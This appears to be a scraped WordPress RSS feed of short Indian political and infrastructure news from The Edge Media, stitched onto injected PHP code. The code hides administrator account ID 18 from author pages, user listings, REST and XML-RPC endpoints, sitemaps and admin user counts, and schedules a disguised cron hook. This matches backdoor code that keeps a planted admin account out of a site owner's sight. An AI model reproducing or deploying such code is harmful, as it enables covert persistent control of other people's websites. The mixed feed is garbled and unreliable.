add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Goa CM Meets Modi Post Exit Polls Results, Assures BJP’s Rule Again appeared first on The Edge Media.
]]>Sawant assured the journalists after the conference that the BJP will form a government in Goa with a “full majority.” “We’ll probably get 20 or more seats. In addition, if necessary, we will enlist the help of independent candidates. People voted for us because of improvements that the BJP government has brought about,” he explained.
The post Goa CM Meets Modi Post Exit Polls Results, Assures BJP’s Rule Again appeared first on The Edge Media.
]]>The post As the festival season approaches, Prime Minister Modi has a high-level discussion on Covid and vaccines appeared first on The Edge Media.
]]>With the country’s festive season beginning with a muted Ganesh Chaturthi celebration, Prime Minister Narendra Modi convened a high-level conference on Friday to assess the current Covid-19 situation and immunization progress.
Despite the fear of a third wave of the pandemic, India has reached a milestone of 72.37 crore people vaccinated as of Friday morning. With a weekly positive rate of 2.31 percent, the Covid situation is likewise under control.
According to data from India’s health ministry, more than half of the country’s adult population has received at least one dose of the vaccine, with 18% receiving both doses.
Kerala and Maharashtra continue to add the most Covid cases every day. According to health ministry data, at least 35 districts in India continue to record a weekly Covid positive rate of over 10%, with another 30 districts reporting a rate of five to ten percent.
The post As the festival season approaches, Prime Minister Modi has a high-level discussion on Covid and vaccines appeared first on The Edge Media.
]]>The post 75 Vande Bharat trains will connect various areas of the country appeared first on The Edge Media.
]]>Vande Bharat, India’s indigenous semi-high-speed rail system, is getting a boost, with the Railways planning to roll out at least 10 of them by August 2022 to honor the country’s 75th anniversary. Medha, a Hyderabad-based engineering firm that won the contract to supply the electrical equipment for 44 Vande Bharat trains in February, has now been urged to speed up its manufacturing schedule so that at least two prototypes may be put out by next March once all trials are completed.
The post 75 Vande Bharat trains will connect various areas of the country appeared first on The Edge Media.
]]>The post External Affairs Minister Passes On Message On Behalf Of PM To Iran’s President appeared first on The Edge Media.
]]>Prime Minister Modi welcomed President-elect Raisi last month, saying he looked forward more to cooperating with him to improve India-Iran relationships.
During his brief visit to Tehran, Jaishankar met with his Iranian counterpart, Javad Zarif, and discussed a variety of bilateral and regional issues.
The post External Affairs Minister Passes On Message On Behalf Of PM To Iran’s President appeared first on The Edge Media.
]]>